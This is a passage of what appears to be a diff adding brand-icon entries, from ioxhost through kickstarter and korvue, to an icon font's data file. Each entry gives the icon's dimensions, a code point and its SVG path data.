51.8-94.6 44.4-94.6-4.3.1-14.3.9-14 23-104.1H81.7l9.7-35.6h76.4c-33.6 133.7-32.6 126.9-32.9 138.2 0 20.9 40.9 13.5 57.4-23.2l19.8-79.4h-32.3l9.7-35.6h68.8l-8.9 40.5c40.5-75.5 127.9-47.8 101.8 38-14.2 51.1-14.6 50.7-14.9 58.8 0 15.5 17.5 22.6 31.8-16.9L386 325c-10.5 36.7-29.4 52-53.2 52z"], + "ioxhost": [640, 512, [], "f208", "M616 160h-67.3C511.2 70.7 422.9 8 320 8 183 8 72 119 72 256c0 16.4 1.6 32.5 4.7 48H24c-13.3 0-24 10.8-24 24 0 13.3 10.7 24 24 24h67.3c37.5 89.3 125.8 152 228.7 152 137 0 248-111 248-248 0-16.4-1.6-32.5-4.7-48H616c13.3 0 24-10.8 24-24 0-13.3-10.7-24-24-24zm-96 96c0 110.5-89.5 200-200 200-75.7 0-141.6-42-175.5-104H424c13.3 0 24-10.8 24-24 0-13.3-10.7-24-24-24H125.8c-3.8-15.4-5.8-31.4-5.8-48 0-110.5 89.5-200 200-200 75.7 0 141.6 42 175.5 104H216c-13.3 0-24 10.8-24 24 0 13.3 10.7 24 24 24h298.2c3.8 15.4 5.8 31.4 5.8 48zm-304-24h208c13.3 0 24 10.7 24 24 0 13.2-10.7 24-24 24H216c-13.3 0-24-10.7-24-24 0-13.2 10.7-24 24-24z"], + "itch-io": [512, 512, [], "f83a", "M71.92 34.77C50.2 47.67 7.4 96.84 7 109.73v21.34c0 27.06 25.29 50.84 48.25 50.84 27.57 0 50.54-22.85 50.54-50 0 27.12 22.18 50 49.76 50s49-22.85 49-50c0 27.12 23.59 50 51.16 50h.5c27.57 0 51.16-22.85 51.16-50 0 27.12 21.47 50 49 50s49.76-22.85 49.76-50c0 27.12 23 50 50.54 50 23 0 48.25-23.78 48.25-50.84v-21.34c-.4-12.9-43.2-62.07-64.92-75C372.56 32.4 325.76 32 256 32S91.14 33.1 71.92 34.77zm132.32 134.39c-22 38.4-77.9 38.71-99.85.25-13.17 23.14-43.17 32.07-56 27.66-3.87 40.15-13.67 237.13 17.73 269.15 80 18.67 302.08 18.12 379.76 0 31.65-32.27 21.32-232 17.75-269.15-12.92 4.44-42.88-4.6-56-27.66-22 38.52-77.85 38.1-99.85-.24-7.1 12.49-23.05 28.94-51.76 28.94a57.54 57.54 0 0 1-51.75-28.94zm-41.58 53.77c16.47 0 31.09 0 49.22 19.78a436.91 436.91 0 0 1 88.18 0C318.22 223 332.85 223 349.31 223c52.33 0 65.22 77.53 83.87 144.45 17.26 62.15-5.52 63.67-33.95 63.73-42.15-1.57-65.49-32.18-65.49-62.79-39.25 6.43-101.93 8.79-155.55 0 0 30.61-23.34 61.22-65.49 62.79-28.42-.06-51.2-1.58-33.94-63.73 18.67-67 31.56-144.45 83.88-144.45zM256 270.79s-44.38 40.77-52.35 55.21l29-1.17v25.32c0 1.55 21.34.16 23.33.16 11.65.54 23.31 1 23.31-.16v-25.28l29 1.17c-8-14.48-52.35-55.24-52.35-55.24z"], + "itunes": [448, 512, [], "f3b4", "M223.6 80.3C129 80.3 52.5 157 52.5 251.5S129 422.8 223.6 422.8s171.2-76.7 171.2-171.2c0-94.6-76.7-171.3-171.2-171.3zm79.4 240c-3.2 13.6-13.5 21.2-27.3 23.8-12.1 2.2-22.2 2.8-31.9-5-11.8-10-12-26.4-1.4-36.8 8.4-8 20.3-9.6 38-12.8 3-.5 5.6-1.2 7.7-3.7 3.2-3.6 2.2-2 2.2-80.8 0-5.6-2.7-7.1-8.4-6.1-4 .7-91.9 17.1-91.9 17.1-5 1.1-6.7 2.6-6.7 8.3 0 116.1.5 110.8-1.2 118.5-2.1 9-7.6 15.8-14.9 19.6-8.3 4.6-23.4 6.6-31.4 5.2-21.4-4-28.9-28.7-14.4-42.9 8.4-8 20.3-9.6 38-12.8 3-.5 5.6-1.2 7.7-3.7 5-5.7.9-127 2.6-133.7.4-2.6 1.5-4.8 3.5-6.4 2.1-1.7 5.8-2.7 6.7-2.7 101-19 113.3-21.4 115.1-21.4 5.7-.4 9 3 9 8.7-.1 170.6.4 161.4-1 167.6zM345.2 32H102.8C45.9 32 0 77.9 0 134.8v242.4C0 434.1 45.9 480 102.8 480h242.4c57 0 102.8-45.9 102.8-102.8V134.8C448 77.9 402.1 32 345.2 32zM223.6 444c-106.3 0-192.5-86.2-192.5-192.5S117.3 59 223.6 59s192.5 86.2 192.5 192.5S329.9 444 223.6 444z"], + "itunes-note": [384, 512, [], "f3b5", "M381.9 388.2c-6.4 27.4-27.2 42.8-55.1 48-24.5 4.5-44.9 5.6-64.5-10.2-23.9-20.1-24.2-53.4-2.7-74.4 17-16.2 40.9-19.5 76.8-25.8 6-1.1 11.2-2.5 15.6-7.4 6.4-7.2 4.4-4.1 4.4-163.2 0-11.2-5.5-14.3-17-12.3-8.2 1.4-185.7 34.6-185.7 34.6-10.2 2.2-13.4 5.2-13.4 16.7 0 234.7 1.1 223.9-2.5 239.5-4.2 18.2-15.4 31.9-30.2 39.5-16.8 9.3-47.2 13.4-63.4 10.4-43.2-8.1-58.4-58-29.1-86.6 17-16.2 40.9-19.5 76.8-25.8 6-1.1 11.2-2.5 15.6-7.4 10.1-11.5 1.8-256.6 5.2-270.2.8-5.2 3-9.6 7.1-12.9 4.2-3.5 11.8-5.5 13.4-5.5 204-38.2 228.9-43.1 232.4-43.1 11.5-.8 18.1 6 18.1 17.6.2 344.5 1.1 326-1.8 338.5z"], + "java": [384, 512, [], "f4e4", "M277.74 312.9c9.8-6.7 23.4-12.5 23.4-12.5s-38.7 7-77.2 10.2c-47.1 3.9-97.7 4.7-123.1 1.3-60.1-8 33-30.1 33-30.1s-36.1-2.4-80.6 19c-52.5 25.4 130 37 224.5 12.1zm-85.4-32.1c-19-42.7-83.1-80.2 0-145.8C296 53.2 242.84 0 242.84 0c21.5 84.5-75.6 110.1-110.7 162.6-23.9 35.9 11.7 74.4 60.2 118.2zm114.6-176.2c.1 0-175.2 43.8-91.5 140.2 24.7 28.4-6.5 54-6.5 54s62.7-32.4 33.9-72.9c-26.9-37.8-47.5-56.6 64.1-121.3zm-6.1 270.5a12.19 12.19 0 0 1-2 2.6c128.3-33.7 81.1-118.9 19.8-97.3a17.33 17.33 0 0 0-8.2 6.3 70.45 70.45 0 0 1 11-3c31-6.5 75.5 41.5-20.6 91.4zM348 437.4s14.5 11.9-15.9 21.2c-57.9 17.5-240.8 22.8-291.6.7-18.3-7.9 16-19 26.8-21.3 11.2-2.4 17.7-2 17.7-2-20.3-14.3-131.3 28.1-56.4 40.2C232.84 509.4 401 461.3 348 437.4zM124.44 396c-78.7 22 47.9 67.4 148.1 24.5a185.89 185.89 0 0 1-28.2-13.8c-44.7 8.5-65.4 9.1-106 4.5-33.5-3.8-13.9-15.2-13.9-15.2zm179.8 97.2c-78.7 14.8-175.8 13.1-233.3 3.6 0-.1 11.8 9.7 72.4 13.6 92.2 5.9 233.8-3.3 237.1-46.9 0 0-6.4 16.5-76.2 29.7zM260.64 353c-59.2 11.4-93.5 11.1-136.8 6.6-33.5-3.5-11.6-19.7-11.6-19.7-86.8 28.8 48.2 61.4 169.5 25.9a60.37 60.37 0 0 1-21.1-12.8z"], + "jedi-order": [448, 512, [], "f50e", "M398.5 373.6c95.9-122.1 17.2-233.1 17.2-233.1 45.4 85.8-41.4 170.5-41.4 170.5 105-171.5-60.5-271.5-60.5-271.5 96.9 72.7-10.1 190.7-10.1 190.7 85.8 158.4-68.6 230.1-68.6 230.1s-.4-16.9-2.2-85.7c4.3 4.5 34.5 36.2 34.5 36.2l-24.2-47.4 62.6-9.1-62.6-9.1 20.2-55.5-31.4 45.9c-2.2-87.7-7.8-305.1-7.9-306.9v-2.4 1-1 2.4c0 1-5.6 219-7.9 306.9l-31.4-45.9 20.2 55.5-62.6 9.1 62.6 9.1-24.2 47.4 34.5-36.2c-1.8 68.8-2.2 85.7-2.2 85.7s-154.4-71.7-68.6-230.1c0 0-107-118.1-10.1-190.7 0 0-165.5 99.9-60.5 271.5 0 0-86.8-84.8-41.4-170.5 0 0-78.7 111 17.2 233.1 0 0-26.2-16.1-49.4-77.7 0 0 16.9 183.3 222 185.7h4.1c205-2.4 222-185.7 222-185.7-23.6 61.5-49.9 77.7-49.9 77.7z"], + "jenkins": [512, 512, [], "f3b6", "M487.1 425c-1.4-11.2-19-23.1-28.2-31.9-5.1-5-29-23.1-30.4-29.9-1.4-6.6 9.7-21.5 13.3-28.9 5.1-10.7 8.8-23.7 11.3-32.6 18.8-66.1 20.7-156.9-6.2-211.2-10.2-20.6-38.6-49-56.4-62.5-42-31.7-119.6-35.3-170.1-16.6-14.1 5.2-27.8 9.8-40.1 17.1-33.1 19.4-68.3 32.5-78.1 71.6-24.2 10.8-31.5 41.8-30.3 77.8.2 7 4.1 15.8 2.7 22.4-.7 3.3-5.2 7.6-6.1 9.8-11.6 27.7-2.3 64 11.1 83.7 8.1 11.9 21.5 22.4 39.2 25.2.7 10.6 3.3 19.7 8.2 30.4 3.1 6.8 14.7 19 10.4 27.7-2.2 4.4-21 13.8-27.3 17.6C89 407.2 73.7 415 54.2 429c-12.6 9-32.3 10.2-29.2 31.1 2.1 14.1 10.1 31.6 14.7 45.8.7 2 1.4 4.1 2.1 6h422c4.9-15.3 9.7-30.9 14.6-47.2 3.4-11.4 10.2-27.8 8.7-39.7zM205.9 33.7c1.8-.5 3.4.7 4.9 2.4-.2 5.2-5.4 5.1-8.9 6.8-5.4 6.7-13.4 9.8-20 17.2-6.8 7.5-14.4 27.7-23.4 30-4.5 1.1-9.7-.8-13.6-.5-10.4.7-17.7 6-28.3 7.5 13.6-29.9 56.1-54 89.3-63.4zm-104.8 93.6c13.5-14.9 32.1-24.1 54.8-25.9 11.7 29.7-8.4 65-.9 97.6 2.3 9.9 10.2 25.4-2.4 25.7.3-28.3-34.8-46.3-61.3-29.6-1.8-21.5-4.9-51.7 9.8-67.8zm36.7 200.2c-1-4.1-2.7-12.9-2.3-15.1 1.6-8.7 17.1-12.5 11-24.7-11.3-.1-13.8 10.2-24.1 11.3-26.7 2.6-45.6-35.4-44.4-58.4 1-19.5 17.6-38.2 40.1-35.8 16 1.8 21.4 19.2 24.5 34.7 9.2.5 22.5-.4 26.9-7.6-.6-17.5-8.8-31.6-8.2-47.7 1-30.3 17.5-57.6 4.8-87.4 13.6-30.9 53.5-55.3 83.1-70 36.6-18.3 94.9-3.7 129.3 15.8 19.7 11.1 34.4 32.7 48.3 50.7-19.5-5.8-36.1 4.2-33.1 20.3 16.3-14.9 44.2-.2 52.5 16.4 7.9 15.8 7.8 39.3 9 62.8 2.9 57-10.4 115.9-39.1 157.1-7.7 11-14.1 23-24.9 30.6-26 18.2-65.4 34.7-99.2 23.4-44.7-15-65-44.8-89.5-78.8.7 18.7 13.8 34.1 26.8 48.4 11.3 12.5 25 26.6 39.7 32.4-12.3-2.9-31.1-3.8-36.2 7.2-28.6-1.9-55.1-4.8-68.7-24.2-10.6-15.4-21.4-41.4-26.3-61.4zm222 124.1c4.1-3 11.1-2.9 17.4-3.6-5.4-2.7-13-3.7-19.3-2.2-.1-4.2-2-6.8-3.2-10.2 10.6-3.8 35.5-28.5 49.6-20.3 6.7 3.9 9.5 26.2 10.1 37 .4 9-.8 18-4.5 22.8-18.8-.6-35.8-2.8-50.7-7 .9-6.1-1-12.1.6-16.5zm-17.2-20c-16.8.8-26-1.2-38.3-10.8.2-.8 1.4-.5 1.5-1.4 18 8 40.8-3.3 59-4.9-7.9 5.1-14.6 11.6-22.2 17.1zm-12.1 33.2c-1.6-9.4-3.5-12-2.8-20.2 25-16.6 29.7 28.6 2.8 20.2zM226 438.6c-11.6-.7-48.1-14-38.5-23.7 9.4 6.5 27.5 4.9 41.3 7.3.8 4.4-2.8 10.2-2.8 16.4zM57.7 497.1c-4.3-12.7-9.2-25.1-14.8-36.9 30.8-23.8 65.3-48.9 102.2-63.5 2.8-1.1 23.2 25.4 26.2 27.6 16.5 11.7 37 21 56.2 30.2 1.2 8.8 3.9 20.2 8.7 35.5.7 2.3 1.4 4.7 2.2 7.2H57.7zm240.6 5.7h-.8c.3-.2.5-.4.8-.5v.5zm7.5-5.7c2.1-1.4 4.3-2.8 6.4-4.3 1.1 1.4 2.2 2.8 3.2 4.3h-9.6zm15.1-24.7c-10.8 7.3-20.6 18.3-33.3 25.2-6 3.3-27 11.7-33.4 10.2-3.6-.8-3.9-5.3-5.4-9.5-3.1-9-10.1-23.4-10.8-37-.8-17.2-2.5-46 16-42.4 14.9 2.9 32.3 9.7 43.9 16.1 7.1 3.9 11.1 8.6 21.9 9.5-.1 1.4-.1 2.8-.2 4.3-5.9 3.9-15.3 3.8-21.8 7.1 9.5.4 17 2.7 23.5 5.9-.1 3.4-.3 7-.4 10.6zm53.4 24.7h-14c-.1-3.2-2.8-5.8-6.1-5.8s-5.9 2.6-6.1 5.8h-17.4c-2.8-4.4-5.7-8.6-8.9-12.5 2.1-2.2 4-4.7 6-6.9 9 3.7 14.8-4.9 21.7-4.2 7.9.8 14.2 11.7 25.4 11l-.6 12.6zm8.7 0c.2-4 .4-7.8.6-11.5 15.6-7.3 29 1.3 35.7 11.5H383zm83.4-37c-2.3 11.2-5.8 24-9.9 37.1-.2-.1-.4-.1-.6-.1H428c.6-1.1 1.2-2.2 1.9-3.3-2.6-6.1-9-8.7-10.9-15.5 12.1-22.7 6.5-93.4-24.2-78.5 4.3-6.3 15.6-11.5 20.8-19.3 13 10.4 20.8 20.3 33.2 31.4 6.8 6 20 13.3 21.4 23.1.8 5.5-2.6 18.9-3.8 25.1zM222.2 130.5c5.4-14.9 27.2-34.7 45-32 7.7 1.2 18 8.2 12.2 17.7-30.2-7-45.2 12.6-54.4 33.1-8.1-2-4.9-13.1-2.8-18.8zm184.1 63.1c8.2-3.6 22.4-.7 29.6-5.3-4.2-11.5-10.3-21.4-9.3-37.7.5 0 1 0 1.4.1 6.8 14.2 12.7 29.2 21.4 41.7-5.7 13.5-43.6 25.4-43.1 1.2zm20.4-43zm-117.2 45.7c-6.8-10.9-19-32.5-14.5-45.3 6.5 11.9 8.6 24.4 17.8 33.3 4.1 4 12.2 9 8.2 20.2-.9 2.7-7.8 8.6-11.7 9.7-14.4 4.3-47.9.9-36.6-17.1 11.9.7 27.9 7.8 36.8-.8zm27.3 70c3.8 6.6 1.4 18.7 12.1 20.6 20.2 3.4 43.6-12.3 58.1-17.8 9-15.2-.8-20.7-8.9-30.5-16.6-20-38.8-44.8-38-74.7 6.7-4.9 7.3 7.4 8.2 9.7 8.7 20.3 30.4 46.2 46.3 63.5 3.9 4.3 10.3 8.4 11 11.2 2.1 8.2-5.4 18-4.5 23.5-21.7 13.9-45.8 29.1-81.4 25.6-7.4-6.7-10.3-21.4-2.9-31.1zm-201.3-9.2c-6.8-3.9-8.4-21-16.4-21.4-11.4-.7-9.3 22.2-9.3 35.5-7.8-7.1-9.2-29.1-3.5-40.3-6.6-3.2-9.5 3.6-13.1 5.9 4.7-34.1 49.8-15.8 42.3 20.3zm299.6 28.8c-10.1 19.2-24.4 40.4-54 41-.6-6.2-1.1-15.6 0-19.4 22.7-2.2 36.6-13.7 54-21.6zm-141.9 12.4c18.9 9.9 53.6 11 79.3 10.2 1.4 5.6 1.3 12.6 1.4 19.4-33 1.8-72-6.4-80.7-29.6zm92.2 46.7c-1.7 4.3-5.3 9.3-9.8 11.1-12.1 4.9-45.6 8.7-62.4-.3-10.7-5.7-17.5-18.5-23.4-26-2.8-3.6-16.9-12.9-.2-12.9 13.1 32.7 58 29 95.8 28.1z"], + "jira": [496, 512, [], "f7b1", "M490 241.7C417.1 169 320.6 71.8 248.5 0 83 164.9 6 241.7 6 241.7c-7.9 7.9-7.9 20.7 0 28.7C138.8 402.7 67.8 331.9 248.5 512c379.4-378 15.7-16.7 241.5-241.7 8-7.9 8-20.7 0-28.6zm-241.5 90l-76-75.7 76-75.7 76 75.7-76 75.7z"], + "joget": [496, 512, [], "f3b7", "M378.1 45C337.6 19.9 292.6 8 248.2 8 165 8 83.8 49.9 36.9 125.9c-71.9 116.6-35.6 269.3 81 341.2s269.3 35.6 341.2-80.9c71.9-116.6 35.6-269.4-81-341.2zm51.8 323.2c-40.4 65.5-110.4 101.5-182 101.5-6.8 0-13.6-.4-20.4-1-9-13.6-19.9-33.3-23.7-42.4-5.7-13.7-27.2-45.6 31.2-67.1 51.7-19.1 176.7-16.5 208.8-17.6-4 9-8.6 17.9-13.9 26.6zm-200.8-86.3c-55.5-1.4-81.7-20.8-58.5-48.2s51.1-40.7 68.9-51.2c17.9-10.5 27.3-33.7-23.6-29.7C87.3 161.5 48.6 252.1 37.6 293c-8.8-49.7-.1-102.7 28.5-149.1C128 43.4 259.6 12.2 360.1 74.1c74.8 46.1 111.2 130.9 99.3 212.7-24.9-.5-179.3-3.6-230.3-4.9zm183.8-54.8c-22.7-6-57 11.3-86.7 27.2-29.7 15.8-31.1 8.2-31.1 8.2s40.2-28.1 50.7-34.5 31.9-14 13.4-24.6c-3.2-1.8-6.7-2.7-10.4-2.7-17.8 0-41.5 18.7-67.5 35.6-31.5 20.5-65.3 31.3-65.3 31.3l169.5-1.6 46.5-23.4s3.6-9.5-19.1-15.5z"], + "joomla": [448, 512, [], "f1aa", "M.6 92.1C.6 58.8 27.4 32 60.4 32c30 0 54.5 21.9 59.2 50.2 32.6-7.6 67.1.6 96.5 30l-44.3 44.3c-20.5-20.5-42.6-16.3-55.4-3.5-14.3 14.3-14.3 37.9 0 52.2l99.5 99.5-44 44.3c-87.7-87.2-49.7-49.7-99.8-99.7-26.8-26.5-35-64.8-24.8-98.9C20.4 144.6.6 120.7.6 92.1zm129.5 116.4l44.3 44.3c10-10 89.7-89.7 99.7-99.8 14.3-14.3 37.6-14.3 51.9 0 12.8 12.8 17 35-3.5 55.4l44 44.3c31.2-31.2 38.5-67.6 28.9-101.2 29.2-4.1 51.9-29.2 51.9-59.5 0-33.2-26.8-60.1-59.8-60.1-30.3 0-55.4 22.5-59.5 51.6-33.8-9.9-71.7-1.5-98.3 25.1-18.3 19.1-71.1 71.5-99.6 99.9zm266.3 152.2c8.2-32.7-.9-68.5-26.3-93.9-11.8-12.2 5 4.7-99.5-99.7l-44.3 44.3 99.7 99.7c14.3 14.3 14.3 37.6 0 51.9-12.8 12.8-35 17-55.4-3.5l-44 44.3c27.6 30.2 68 38.8 102.7 28 5.5 27.4 29.7 48.1 58.9 48.1 33 0 59.8-26.8 59.8-60.1 0-30.2-22.5-55-51.6-59.1zm-84.3-53.1l-44-44.3c-87 86.4-50.4 50.4-99.7 99.8-14.3 14.3-37.6 14.3-51.9 0-13.1-13.4-16.9-35.3 3.2-55.4l-44-44.3c-30.2 30.2-38 65.2-29.5 98.3-26.7 6-46.2 29.9-46.2 58.2C0 453.2 26.8 480 59.8 480c28.6 0 52.5-19.8 58.6-46.7 32.7 8.2 68.5-.6 94.2-26 32.1-32 12.2-12.4 99.5-99.7z"], + "js": [448, 512, [], "f3b8", "M0 32v448h448V32H0zm243.8 349.4c0 43.6-25.6 63.5-62.9 63.5-33.7 0-53.2-17.4-63.2-38.5l34.3-20.7c6.6 11.7 12.6 21.6 27.1 21.6 13.8 0 22.6-5.4 22.6-26.5V237.7h42.1v143.7zm99.6 63.5c-39.1 0-64.4-18.6-76.7-43l34.3-19.8c9 14.7 20.8 25.6 41.5 25.6 17.4 0 28.6-8.7 28.6-20.8 0-14.4-11.4-19.5-30.7-28l-10.5-4.5c-30.4-12.9-50.5-29.2-50.5-63.5 0-31.6 24.1-55.6 61.6-55.6 26.8 0 46 9.3 59.8 33.7L368 290c-7.2-12.9-15-18-27.1-18-12.3 0-20.1 7.8-20.1 18 0 12.6 7.8 17.7 25.9 25.6l10.5 4.5c35.8 15.3 55.9 31 55.9 66.2 0 37.8-29.8 58.6-69.7 58.6z"], + "js-square": [448, 512, [], "f3b9", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM243.8 381.4c0 43.6-25.6 63.5-62.9 63.5-33.7 0-53.2-17.4-63.2-38.5l34.3-20.7c6.6 11.7 12.6 21.6 27.1 21.6 13.8 0 22.6-5.4 22.6-26.5V237.7h42.1v143.7zm99.6 63.5c-39.1 0-64.4-18.6-76.7-43l34.3-19.8c9 14.7 20.8 25.6 41.5 25.6 17.4 0 28.6-8.7 28.6-20.8 0-14.4-11.4-19.5-30.7-28l-10.5-4.5c-30.4-12.9-50.5-29.2-50.5-63.5 0-31.6 24.1-55.6 61.6-55.6 26.8 0 46 9.3 59.8 33.7L368 290c-7.2-12.9-15-18-27.1-18-12.3 0-20.1 7.8-20.1 18 0 12.6 7.8 17.7 25.9 25.6l10.5 4.5c35.8 15.3 55.9 31 55.9 66.2 0 37.8-29.8 58.6-69.7 58.6z"], + "jsfiddle": [576, 512, [], "f1cc", "M510.634 237.462c-4.727-2.621-5.664-5.748-6.381-10.776-2.352-16.488-3.539-33.619-9.097-49.095-35.895-99.957-153.99-143.386-246.849-91.646-27.37 15.25-48.971 36.369-65.493 63.903-3.184-1.508-5.458-2.71-7.824-3.686-30.102-12.421-59.049-10.121-85.331 9.167-25.531 18.737-36.422 44.548-32.676 76.408.355 3.025-1.967 7.621-4.514 9.545-39.712 29.992-56.031 78.065-41.902 124.615 13.831 45.569 57.514 79.796 105.608 81.433 30.291 1.031 60.637.546 90.959.539 84.041-.021 168.09.531 252.12-.48 52.664-.634 96.108-36.873 108.212-87.293 11.54-48.074-11.144-97.3-56.832-122.634zm21.107 156.88c-18.23 22.432-42.343 35.253-71.28 35.65-56.874.781-113.767.23-170.652.23 0 .7-163.028.159-163.728.154-43.861-.332-76.739-19.766-95.175-59.995-18.902-41.245-4.004-90.848 34.186-116.106 9.182-6.073 12.505-11.566 10.096-23.136-5.49-26.361 4.453-47.956 26.42-62.981 22.987-15.723 47.422-16.146 72.034-3.083 10.269 5.45 14.607 11.564 22.198-2.527 14.222-26.399 34.557-46.727 60.671-61.294 97.46-54.366 228.37 7.568 230.24 132.697.122 8.15 2.412 12.428 9.848 15.894 57.56 26.829 74.456 96.122 35.142 144.497zm-87.789-80.499c-5.848 31.157-34.622 55.096-66.666 55.095-16.953-.001-32.058-6.545-44.079-17.705-27.697-25.713-71.141-74.98-95.937-93.387-20.056-14.888-41.99-12.333-60.272 3.782-49.996 44.071 15.859 121.775 67.063 77.188 4.548-3.96 7.84-9.543 12.744-12.844 8.184-5.509 20.766-.884 13.168 10.622-17.358 26.284-49.33 38.197-78.863 29.301-28.897-8.704-48.84-35.968-48.626-70.179 1.225-22.485 12.364-43.06 35.414-55.965 22.575-12.638 46.369-13.146 66.991 2.474C295.68 280.7 320.467 323.97 352.185 343.47c24.558 15.099 54.254 7.363 68.823-17.506 28.83-49.209-34.592-105.016-78.868-63.46-3.989 3.744-6.917 8.932-11.41 11.72-10.975 6.811-17.333-4.113-12.809-10.353 20.703-28.554 50.464-40.44 83.271-28.214 31.429 11.714 49.108 44.366 42.76 78.186z"], + "kaggle": [320, 512, [], "f5fa", "M304.2 501.5L158.4 320.3 298.2 185c2.6-2.7 1.7-10.5-5.3-10.5h-69.2c-3.5 0-7 1.8-10.5 5.3L80.9 313.5V7.5q0-7.5-7.5-7.5H21.5Q14 0 14 7.5v497q0 7.5 7.5 7.5h51.9q7.5 0 7.5-7.5v-109l30.8-29.3 110.5 140.6c3 3.5 6.5 5.3 10.5 5.3h66.9q5.25 0 6-3z"], + "keybase": [448, 512, [], "f4f5", "M286.17 419a18 18 0 1 0 18 18 18 18 0 0 0-18-18zm111.92-147.6c-9.5-14.62-39.37-52.45-87.26-73.71q-9.1-4.06-18.38-7.27a78.43 78.43 0 0 0-47.88-104.13c-12.41-4.1-23.33-6-32.41-5.77-.6-2-1.89-11 9.4-35L198.66 32l-5.48 7.56c-8.69 12.06-16.92 23.55-24.34 34.89a51 51 0 0 0-8.29-1.25c-41.53-2.45-39-2.33-41.06-2.33-50.61 0-50.75 52.12-50.75 45.88l-2.36 36.68c-1.61 27 19.75 50.21 47.63 51.85l8.93.54a214 214 0 0 0-46.29 35.54C14 304.66 14 374 14 429.77v33.64l23.32-29.8a148.6 148.6 0 0 0 14.56 37.56c5.78 10.13 14.87 9.45 19.64 7.33 4.21-1.87 10-6.92 3.75-20.11a178.29 178.29 0 0 1-15.76-53.13l46.82-59.83-24.66 74.11c58.23-42.4 157.38-61.76 236.25-38.59 34.2 10.05 67.45.69 84.74-23.84.72-1 1.2-2.16 1.85-3.22a156.09 156.09 0 0 1 2.8 28.43c0 23.3-3.69 52.93-14.88 81.64-2.52 6.46 1.76 14.5 8.6 15.74 7.42 1.57 15.33-3.1 18.37-11.15C429 443 434 414 434 382.32c0-38.58-13-77.46-35.91-110.92zM142.37 128.58l-15.7-.93-1.39 21.79 13.13.78a93 93 0 0 0 .32 19.57l-22.38-1.34a12.28 12.28 0 0 1-11.76-12.79L107 119c1-12.17 13.87-11.27 13.26-11.32l29.11 1.73a144.35 144.35 0 0 0-7 19.17zm148.42 172.18a10.51 10.51 0 0 1-14.35-1.39l-9.68-11.49-34.42 27a8.09 8.09 0 0 1-11.13-1.08l-15.78-18.64a7.38 7.38 0 0 1 1.34-10.34l34.57-27.18-14.14-16.74-17.09 13.45a7.75 7.75 0 0 1-10.59-1s-3.72-4.42-3.8-4.53a7.38 7.38 0 0 1 1.37-10.34L214 225.19s-18.51-22-18.6-22.14a9.56 9.56 0 0 1 1.74-13.42 10.38 10.38 0 0 1 14.3 1.37l81.09 96.32a9.58 9.58 0 0 1-1.74 13.44zM187.44 419a18 18 0 1 0 18 18 18 18 0 0 0-18-18z"], + "keycdn": [512, 512, [], "f3ba", "M63.8 409.3l60.5-59c32.1 42.8 71.1 66 126.6 67.4 30.5.7 60.3-7 86.4-22.4 5.1 5.3 18.5 19.5 20.9 22-32.2 20.7-69.6 31.1-108.1 30.2-43.3-1.1-84.6-16.7-117.7-44.4.3-.6-38.2 37.5-38.6 37.9 9.5 29.8-13.1 62.4-46.3 62.4C20.7 503.3 0 481.7 0 454.9c0-34.3 33.1-56.6 63.8-45.6zm354.9-252.4c19.1 31.3 29.6 67.4 28.7 104-1.1 44.8-19 87.5-48.6 121 .3.3 23.8 25.2 24.1 25.5 9.6-1.3 19.2 2 25.9 9.1 11.3 12 10.9 30.9-1.1 42.4-12 11.3-30.9 10.9-42.4-1.1-6.7-7-9.4-16.8-7.6-26.3-24.9-26.6-44.4-47.2-44.4-47.2 42.7-34.1 63.3-79.6 64.4-124.2.7-28.9-7.2-57.2-21.1-82.2l22.1-21zM104 53.1c6.7 7 9.4 16.8 7.6 26.3l45.9 48.1c-4.7 3.8-13.3 10.4-22.8 21.3-25.4 28.5-39.6 64.8-40.7 102.9-.7 28.9 6.1 57.2 20 82.4l-22 21.5C72.7 324 63.1 287.9 64.2 250.9c1-44.6 18.3-87.6 47.5-121.1l-25.3-26.4c-9.6 1.3-19.2-2-25.9-9.1-11.3-12-10.9-30.9 1.1-42.4C73.5 40.7 92.2 41 104 53.1zM464.9 8c26 0 47.1 22.4 47.1 48.3S490.9 104 464.9 104c-6.3.1-14-1.1-15.9-1.8l-62.9 59.7c-32.7-43.6-76.7-65.9-126.9-67.2-30.5-.7-60.3 6.8-86.2 22.4l-21.1-22C184.1 74.3 221.5 64 260 64.9c43.3 1.1 84.6 16.7 117.7 44.6l41.1-38.6c-1.5-4.7-2.2-9.6-2.2-14.5C416.5 29.7 438.9 8 464.9 8zM256.7 113.4c5.5 0 10.9.4 16.4 1.1 78.1 9.8 133.4 81.1 123.8 159.1-9.8 78.1-81.1 133.4-159.1 123.8-78.1-9.8-133.4-81.1-123.8-159.2 9.3-72.4 70.1-124.6 142.7-124.8zm-59 119.4c.6 22.7 12.2 41.8 32.4 52.2l-11 51.7h73.7l-11-51.7c20.1-10.9 32.1-29 32.4-52.2-.4-32.8-25.8-57.5-58.3-58.3-32.1.8-57.3 24.8-58.2 58.3zM256 160"], + "kickstarter": [448, 512, [], "f3bb", "M400 480H48c-26.4 0-48-21.6-48-48V80c0-26.4 21.6-48 48-48h352c26.4 0 48 21.6 48 48v352c0 26.4-21.6 48-48 48zM199.6 178.5c0-30.7-17.6-45.1-39.7-45.1-25.8 0-40 19.8-40 44.5v154.8c0 25.8 13.7 45.6 40.5 45.6 21.5 0 39.2-14 39.2-45.6v-41.8l60.6 75.7c12.3 14.9 39 16.8 55.8 0 14.6-15.1 14.8-36.8 4-50.4l-49.1-62.8 40.5-58.7c9.4-13.5 9.5-34.5-5.6-49.1-16.4-15.9-44.6-17.3-61.4 7l-44.8 64.7v-38.8z"], + "kickstarter-k": [384, 512, [], "f3bc", "M147.3 114.4c0-56.2-32.5-82.4-73.4-82.4C26.2 32 0 68.2 0 113.4v283c0 47.3 25.3 83.4 74.9 83.4 39.8 0 72.4-25.6 72.4-83.4v-76.5l112.1 138.3c22.7 27.2 72.1 30.7 103.2 0 27-27.6 27.3-67.4 7.4-92.2l-90.8-114.8 74.9-107.4c17.4-24.7 17.5-63.1-10.4-89.8-30.3-29-82.4-31.6-113.6 12.8L147.3 185v-70.6z"], + "korvue": [446, 512, [], "f42f", "M386.5 34h-327C26.8 34 0 60.8 0 93.5v327.1C0 453.2 26.8 480 59.5 480h327.1c33 0 59.5-26.8 59.5-59.5v-327C446 60.8 419.2 34 386.5 34zM87.1 120.8h96v116l61.8-116h110.9l-81.2 132H87.1v-132zm161.8 272.1l-65.7-113.6v113.6h-96V262.1h191.5l88.6 130.8H248.9z"], + "laravel": [512, 512, [], "f3bd", 